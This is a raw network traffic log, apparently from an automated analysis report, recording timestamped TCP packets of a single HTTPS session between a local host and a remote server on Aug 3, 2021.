Aug 3, 2021 20:39:43.944226027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944253922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944287062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944317102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944339037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944365025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944376945 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944411039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944442987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944472075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944506884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944515944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944566965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944576979 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944611073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944628954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944658995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944694042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944724083 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944742918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944777012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944807053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944832087 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944854975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944874048 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944902897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.947500944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.966429949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.966490984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.968508005 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.019639015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.019673109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.019689083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.019810915 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.124876022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.124952078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125013113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125073910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125134945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125189066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125246048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125297070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125359058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125389099 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.125422955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125480890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125540018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125598907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125658989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125720024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125777960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125840902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125863075 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.125900984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125955105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.125988007 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126013994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126070023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126075983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126123905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126179934 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126182079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126235962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126239061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126303911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126354933 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126360893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126415014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126468897 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126470089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126526117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126580000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126632929 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126635075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126688957 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126749992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126775026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126807928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126863003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126871109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.126916885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126971960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.126971960 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127026081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127042055 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127080917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127183914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127211094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127281904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127341032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127353907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127396107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127434969 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127449989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127509117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127546072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127563000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127616882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127680063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127731085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127737999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127793074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127845049 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127850056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127903938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.127943993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.127959013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128010988 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128012896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128066063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128108978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128128052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128184080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128240108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128277063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128340006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128396034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128429890 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128449917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128504038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128557920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128571033 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128611088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128664970 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128667116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128720999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128782988 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128784895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128823042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.128843069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128895998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128952026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.128968000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129004955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129059076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129060984 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129115105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129168987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129180908 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129229069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129286051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129309893 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129340887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129390955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129396915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129451036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129466057 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129507065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129560947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129615068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129621029 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129674911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129712105 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129731894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129784107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129827023 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.129838943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129894972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.129949093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130001068 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130002975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130059004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130119085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130120039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130177021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130198002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130233049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130291939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130305052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130361080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130414009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130428076 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130470037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130523920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130565882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130578995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130669117 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130669117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130681038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130717039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130772114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130785942 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130834103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130861044 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130892992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.130929947 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.130948067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.131004095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.131057978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.131059885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.131112099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.131186962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.131203890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.131340981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.148449898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.148475885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.150654078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.199915886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.199947119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.199970007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.200028896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.245723963 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.310785055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310818911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310841084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310864925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310889959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310910940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310933113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310952902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310975075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.310997963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311017990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311042070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311064005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311086893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311106920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311144114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311165094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311186075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311207056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311228037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311252117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311274052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311295986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311316967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311338902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311359882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311381102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311403036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311427116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311449051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311469078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311490059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311511040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311525106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.311532021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311553955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311574936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311599016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311620951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311640978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311661959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311682940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311687946 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.311703920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311727047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311748981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311773062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311794043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311815023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311836958 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.311846018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311863899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311877966 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.311891079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311908007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311928988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311947107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311964035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311980963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.311996937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312001944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.312014103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312031984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312047958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312064886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312067032 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.312082052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312098980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312115908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312131882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312150002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312166929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312185049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312201023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312216997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312233925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312251091 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312268019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312284946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312303066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312320948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312336922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312354088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312371016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312387943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312403917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312421083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312438011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312454939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312470913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312488079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312505960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312524080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312540054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312556982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312573910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312591076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312607050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312623978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312640905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312659025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312674046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312690020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312704086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312719107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312736034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312753916 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312769890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312788010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312805891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312823057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312839031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312855959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312874079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312891960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.312908888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.313427925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.330435991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.330460072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.330619097 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.380193949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.380250931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.380407095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.425582886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.425611019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.428554058 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.492913008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.492974043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493022919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493067026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493105888 CEST	443	49756	207.241.228.148	192.168.2.4
